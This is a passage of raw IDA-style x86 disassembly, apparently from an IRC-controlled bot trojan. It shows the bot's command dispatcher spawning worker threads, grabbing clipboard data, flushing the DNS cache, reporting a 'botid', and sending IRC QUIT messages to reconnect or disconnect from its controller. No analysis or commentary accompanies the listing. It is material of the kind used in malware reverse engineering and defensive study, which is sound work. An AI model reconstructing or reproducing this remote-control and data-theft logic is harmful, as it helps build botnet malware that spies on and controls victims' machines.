loc_414023:				; CODE XREF: sub_40EE72+4F46j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D6E
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_414037:				; CODE XREF: sub_40EE72+3108j
					; sub_40EE72+4FC2j
		push	offset unk_435C30
		jmp	loc_4145FC
; ---------------------------------------------------------------------------

loc_414041:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_435BF8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4140DA

loc_4140C7:				; CODE XREF: sub_40EE72+5266j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E0F
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_4140C7
; ---------------------------------------------------------------------------

loc_4140DA:				; CODE XREF: sub_40EE72+5253j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435BAC
		jmp	loc_414E00
; ---------------------------------------------------------------------------

loc_4140EB:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_414101
		push	offset unk_435B80
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_414101:				; CODE XREF: sub_40EE72+5283j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414124
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414138
; ---------------------------------------------------------------------------

loc_414124:				; CODE XREF: sub_40EE72+5298j
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		call	ds:off_424094

loc_414138:				; CODE XREF: sub_40EE72+52B0j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_414148
		mov	esi, offset byte_42F678

loc_414148:				; CODE XREF: sub_40EE72+52CFj
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, ds:dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_41421B

loc_414205:				; CODE XREF: sub_40EE72+53A7j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_414205
; ---------------------------------------------------------------------------

loc_41421B:				; CODE XREF: sub_40EE72+5391j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435B38
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_41422C:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424B
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424B
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414250
; ---------------------------------------------------------------------------

loc_41424B:				; CODE XREF: sub_40EE72+53C3j
					; sub_40EE72+53CEj
		mov	eax, ds:dword_42F5B0

loc_414250:				; CODE XREF: sub_40EE72+53D7j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414283
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_4142AE
; ---------------------------------------------------------------------------

loc_414283:				; CODE XREF: sub_40EE72+53FEj
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		call	ds:dword_424068	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h

loc_4142AE:				; CODE XREF: sub_40EE72+540Fj
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142D9
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl

loc_4142D9:				; CODE XREF: sub_40EE72+5451j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_414391

loc_41437B:				; CODE XREF: sub_40EE72+551Dj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E3
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_41437B
; ---------------------------------------------------------------------------

loc_414391:				; CODE XREF: sub_40EE72+5507j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435AF0
		jmp	loc_4144D4
; ---------------------------------------------------------------------------

loc_4143A2:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C1
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C1
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C6
; ---------------------------------------------------------------------------

loc_4143C1:				; CODE XREF: sub_40EE72+5539j
					; sub_40EE72+5544j
		mov	eax, ds:dword_42F5B4

loc_4143C6:				; CODE XREF: sub_40EE72+554Dj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DD
		lea	eax, [ebp+var_D8]

loc_4143DD:				; CODE XREF: sub_40EE72+5563j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_4143FF
		mov	esi, offset byte_43C80C

loc_4143FF:				; CODE XREF: sub_40EE72+5586j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435AA4
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset sub_41570C
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4144C8

loc_4144B6:				; CODE XREF: sub_40EE72+5654j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E3
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_4144B6
; ---------------------------------------------------------------------------

loc_4144C8:				; CODE XREF: sub_40EE72+5642j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_435A58

loc_4144D4:				; CODE XREF: sub_40EE72+3625j
					; sub_40EE72+3722j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_4144E3:				; CODE XREF: sub_40EE72+3609j
					; sub_40EE72+3706j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------

loc_4144F3:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414506
		push	esi
		call	sub_41781F
		jmp	short loc_41450D
; ---------------------------------------------------------------------------

loc_414506:				; CODE XREF: sub_40EE72+568Aj
		push	8
		call	sub_416FC1

loc_41450D:				; CODE XREF: sub_40EE72+5692j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F45
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB

loc_414528:				; CODE XREF: sub_40EE72+5B65j
		add	esp, 10h
		jmp	loc_414F45
; ---------------------------------------------------------------------------

loc_414530:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, ds:dword_43F590
		cmp	eax, ebx
		jz	short loc_41454D
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_414546
		push	offset unk_435A24
		jmp	short loc_414562
; ---------------------------------------------------------------------------

loc_414546:				; CODE XREF: sub_40EE72+56CBj
		push	offset unk_4359E8
		jmp	short loc_414562
; ---------------------------------------------------------------------------

loc_41454D:				; CODE XREF: sub_40EE72+56C5j
		push	offset unk_4359AC
		jmp	short loc_414562
; ---------------------------------------------------------------------------

loc_414554:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_414578
		push	offset unk_435978

loc_414562:				; CODE XREF: sub_40EE72+4AFCj
					; sub_40EE72+56D2j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------

loc_414578:				; CODE XREF: sub_40EE72+56E9j
		push	offset unk_43593C
		jmp	short loc_414562
; ---------------------------------------------------------------------------

loc_41457F:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41459E
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_41459E:				; CODE XREF: sub_40EE72+5710j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4358FC

loc_4145BB:				; CODE XREF: sub_40EE72+5A07j
					; sub_40EE72+5A39j
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F45
; ---------------------------------------------------------------------------

loc_4145C8:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_4145DB
		push	offset dword_4358C4
		jmp	short loc_4145FC
; ---------------------------------------------------------------------------

loc_4145DB:				; CODE XREF: sub_40EE72+5760j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F7
		push	offset dword_43588C
		jmp	short loc_4145FC
; ---------------------------------------------------------------------------

loc_4145F7:				; CODE XREF: sub_40EE72+577Cj
		push	offset dword_43585C

loc_4145FC:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_41460A:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	[ebp+var_4]

loc_414617:				; CODE XREF: sub_40EE72+3961j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]

loc_414627:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E0F
; ---------------------------------------------------------------------------

loc_414634:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41464D:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41466A:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		call	ds:dword_424058	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414693
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax

loc_414693:				; CODE XREF: sub_40EE72+5816j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AC
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F45

loc_4146AC:				; CODE XREF: sub_40EE72+582Fj
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435834
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------

loc_4146EF:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_435804
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_41470D:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_414736
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4357D0
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------

loc_414736:				; CODE XREF: sub_40EE72+58A5j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414797
		push	esi
		push	offset aFull	; "full"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414797
		mov	[ebp+var_46C], 1

loc_414797:				; CODE XREF: sub_40EE72+5908j
					; sub_40EE72+5919j
		lea	eax, [ebp+var_2DC]
		push	offset dword_435798
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415339
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_414805

loc_4147EF:				; CODE XREF: sub_40EE72+5991j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E0F
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_4147EF
; ---------------------------------------------------------------------------

loc_414805:				; CODE XREF: sub_40EE72+597Bj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435748
		jmp	loc_414E00
; ---------------------------------------------------------------------------

loc_414816:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414835
		push	ebx
		push	[ebp+var_4]
		push	offset dword_435720
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414835:				; CODE XREF: sub_40EE72+59A7j
		push	[ebp+arg_4]
		call	ds:dword_43F700	; closesocket
		call	ds:dword_43F5C8	; WSACleanup
		call	sub_40AC42
		push	ebx
		call	ds:off_42414C

loc_414850:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356F8
		jmp	loc_4145BB
; ---------------------------------------------------------------------------

loc_41487E:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356D0
		jmp	loc_4145BB
; ---------------------------------------------------------------------------

loc_4148B0:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_4148C9:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_414908
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414908
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414908
		push	eax
		push	offset aS_3	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_414908:				; CODE XREF: sub_40EE72+5A60j
					; sub_40EE72+5A6Bj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4356A8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4149AB

loc_414995:				; CODE XREF: sub_40EE72+5B37j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_414995
; ---------------------------------------------------------------------------

loc_4149AB:				; CODE XREF: sub_40EE72+5B21j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_435660
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4149BC:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_435638
		call	sub_40BF6D
		jmp	loc_414528
; ---------------------------------------------------------------------------

loc_4149DC:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A36
		push	offset dword_435634
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3C
; ---------------------------------------------------------------------------

loc_414A36:				; CODE XREF: sub_40EE72+5BA8j
		mov	[ebp+var_46C], ebx

loc_414A3C:				; CODE XREF: sub_40EE72+5BC2j
		lea	eax, [ebp+var_2DC]
		push	offset dword_435608
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_416DC5
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_414AA6

loc_414A94:				; CODE XREF: sub_40EE72+5C32j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC1
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_414A94
; ---------------------------------------------------------------------------

loc_414AA6:				; CODE XREF: sub_40EE72+5C20j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4355C0

loc_414AB2:				; CODE XREF: sub_40EE72+489Dj
					; sub_40EE72+49B9j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_414AC1:				; CODE XREF: sub_40EE72+4527j
					; sub_40EE72+453Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------

loc_414ACD:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_435598
		jmp	short loc_414AEB
; ---------------------------------------------------------------------------

loc_414AD9:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	ds:dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_43555C

loc_414AEB:				; CODE XREF: sub_40EE72+5C65j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_414B18:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4A
		cmp	[ebp+var_C], ebx
		jz	short loc_414B59
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B59
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B59
; ---------------------------------------------------------------------------

loc_414B4A:				; CODE XREF: sub_40EE72+5CAFj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx

loc_414B59:				; CODE XREF: sub_40EE72+5CB4j
					; sub_40EE72+5CC3j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------

loc_414B60:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_43550C
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414B82:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4354CC
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414BA3:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF4
; ---------------------------------------------------------------------------

loc_414BB9:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_4354BC
		push	offset dword_4354B0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BD1:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_4354A4
		push	offset dword_435494
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BE9:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C08
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C08
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0D
; ---------------------------------------------------------------------------

loc_414C08:				; CODE XREF: sub_40EE72+5D80j
					; sub_40EE72+5D8Bj
		mov	eax, ds:dword_42F5A8

loc_414C0D:				; CODE XREF: sub_40EE72+5D94j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C32
		push	esi

loc_414C1F:				; CODE XREF: sub_40EE72+5DCFj
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C49
; ---------------------------------------------------------------------------

loc_414C32:				; CODE XREF: sub_40EE72+5DAAj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C43
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C1F
; ---------------------------------------------------------------------------

loc_414C43:				; CODE XREF: sub_40EE72+5DC6j
		mov	[ebp+var_488], bl

loc_414C49:				; CODE XREF: sub_40EE72+5DBEj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
